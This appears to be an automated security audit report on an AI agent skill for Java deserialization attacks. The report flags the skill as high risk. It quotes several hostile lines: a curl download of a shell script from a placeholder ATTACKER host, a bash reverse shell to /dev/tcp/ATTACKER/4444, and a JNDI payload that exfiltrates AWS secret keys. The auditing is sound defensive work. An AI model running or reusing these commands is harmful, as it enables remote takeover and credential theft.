deserialization-java

Fail

Audited by Gen Agent Trust Hub on Jul 6, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONCREDENTIALS_UNSAFE
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill explicitly instructs users to download executable shell scripts from remote servers and execute them locally (e.g., 'curl http://ATTACKER/shell.sh -o /tmp/s.sh').
  • [COMMAND_EXECUTION]: It provides various payloads for establishing interactive reverse shells, such as 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1', which grant external control over the target system.
  • [DATA_EXFILTRATION]: The instructions demonstrate how to exfiltrate sensitive environment variables, including 'AWS_SECRET_ACCESS_KEY', by embedding them in JNDI lookup payloads that trigger outbound network requests.
  • [CREDENTIALS_UNSAFE]: The skill encourages the identification, collection, and local storage of sensitive credentials like cloud access keys and session tokens in files (e.g., 'engagement/evidence/ssrf-aws-creds.json').
  • [EXTERNAL_DOWNLOADS]: It relies on numerous third-party tools and exploit scripts from unverified or untrusted sources, including 'ysoserial', 'marshalsec', and 'jexboss'.
Recommendations
  • HIGH: Downloads and executes remote code from: http://ATTACKER/shell.sh - DO NOT USE without thorough review
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Jul 6, 2026, 09:15 AM
Security Audit — agent-trust-hub — deserialization-java